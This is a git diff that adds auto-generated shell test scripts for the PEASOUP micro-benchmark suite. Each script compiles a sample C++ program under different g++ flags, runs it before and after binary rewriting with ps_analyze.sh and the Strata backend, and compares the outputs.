+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os     -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os     -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..05206dc5fba21fe11f2f481b9661d7c2726212f8
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os       -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os       -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..2775a9646f7ccdc326f0a5d0f992a880a24af995
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os       -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os       -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..4e020d033756becf100b9d13fd0f038c596cc81e
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="    -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="    -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..0d3a71f57d8102177a9d6952774851acda386011
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="    -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="    -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..ab2d4e3d35b3e6131a7ae70a05920427ffa40f94
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="    -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="    -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..09a22980a0a1e0a205c9dd03c71228d218083a4a
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
